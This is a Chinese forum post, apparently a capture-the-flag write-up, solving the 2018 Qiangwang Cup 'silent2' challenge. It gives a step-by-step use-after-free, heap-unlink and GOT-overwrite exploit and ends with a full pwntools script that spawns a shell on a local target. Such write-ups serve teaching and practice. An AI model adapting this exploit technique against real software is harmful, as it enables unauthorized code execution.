-
-
[原创]2018强网杯silent2
-
2018-9-26 20:47
-
看了雪论坛里一位大佬的writeup，感到一丝迷茫，遂另起炉灶，提供另一种类似的做法，我多加了解释，应该会更加通俗易懂。
发现NX、Canary都开了，但Partial RELRO说明可以修改got表，PIE说明没有地址随机化，就可以直接利用IDA中看到的地址，不需要计算libc偏移了
先看main函数
case1:功能就是create啦
注意到*&s[8*i] = v3这句，说明是用s这个数组来存储堆地址的，并且最多存储10个至少为0x80大小（或0x10）的堆
case2:功能就是删除delete
注意到free后没有给数组该元素设置为0，存在UAF漏洞
case3:功能是编辑edit
可惜这里长度不能自定义，只能根据原堆大小进行写数据，因此光看这里不存在溢出情况。
另外这里奇怪的是往0x602120的bss段中写入48个字符，或许这里也可以做文章，但我做的时候将他忽视。
看完源码后提出以下思路：
目的是执行system('/bin/sh')-->修改某个函数的（strlen或者free等）got表为system_plt-->利用unlink任意地址写
先至少建立5个堆，然后将第4个和第5个堆free掉（不懂的可以参考我在CSDN中的unlink），以在unlink中构成chunk3->chunk0->target_addr的篡改链
create(0x90,'aaaa')#0 create(0x90,'/bin/sh\x00')#1 create(0x90,'cccc')#2 create(0x90,'dddd')#3 create(0x90,'eeee')#4 delete(3) delete(4)
然后利用UAF漏洞对第4、5个堆进行伪造
fd = p64(p_addr-0x18) bk = p64(p_addr-0x10) payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70 #3 pre_size + size + fd + bk + data payload +=p64(0x90) + p64(0xa0) #4 pre_size + size create(0x130,payload)
这里有个知识点，虽然说malloc后返回的不是头部而是data数据段了，但看源码后才明白需要修改这个头部才能unlink
if (!prev_inuse(p)) { //检查size最低位，看是否空闲
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize)); //将p前移prevsize个字节
unlink(av, p, bck, fwd);
}这里将指针前移的偏移量为prevsize，也即只能前移到该0x130大chunk的数据段初始位置，因此需要在这里伪造一个头部绕过unlink检查。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");p64(0) + p64(0x91)，关键是这个0x91和0x90大小一致（最低位只表示是否空闲，对实际大小无影响）
接下来就是free来触发unlink了
#unlink delete(4)
这样一来，就完成了
chunk3->chunk0->target_addr的篡改链
接下去就是利用该篡改链修改函数got表了
这里可以选择strlen，也可以选择free，但最终触发的指令得相应改变了
modify(3,p64(free_got)) modify(0,p64(system_plt))
先往chunk3中写入free_got的地址，这样chunk0中保存的就是free_got了
然后往chunk0中写入system_plt，这样就相当于往free_got中写入system_plt了
如此一来就成功修改got表了
最后就用free('/bin/sh')来触发system('/bin/sh')，由于开始时我就往chunk1中写入了bin/sh了，这里直接用就行了
delete(1)
成功渗透，O(∩_∩)O哈哈~
最后贴上exp
from pwn import *
#p = process('./silent2')
cn = remote('127.0.0.1',9527)
def create(size, content):
cn.sendline('1')
cn.sendline(str(size))
cn.sendline(content)
def modify(idx, content1):
cn.sendline('3')
cn.sendline(str(idx))
cn.sendline(content1)
def delete(idx):
cn.sendline('2')
cn.sendline(str(idx))
print cn.recv()
free_got = 0x602018
strlen_got = 0x602020
system_plt = 0x400730
p_addr = 0x6020d8
create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4
delete(3)
delete(4)
fd = p64(p_addr-0x18)
bk = p64(p_addr-0x10)
payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70#3
payload +=p64(0x90) + p64(0xa0)#4
create(0x130,payload)
#unlink
delete(4)
modify(3,p64(free_got))
modify(0,p64(system_plt))
delete(1)
cn.interactive()
大家可以相互交流，不懂的可以提出，我尽快回答；我出错的，希望能指出，共同进步！！！
[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法
最后于 2018-9-27 08:41
被Snowleo编辑
，原因：
|
|
|---|---|
|
|
|
|
|
|
|
|
抓住了unlink的关键点  ，对我的分析进行了很好的详细的补充
|
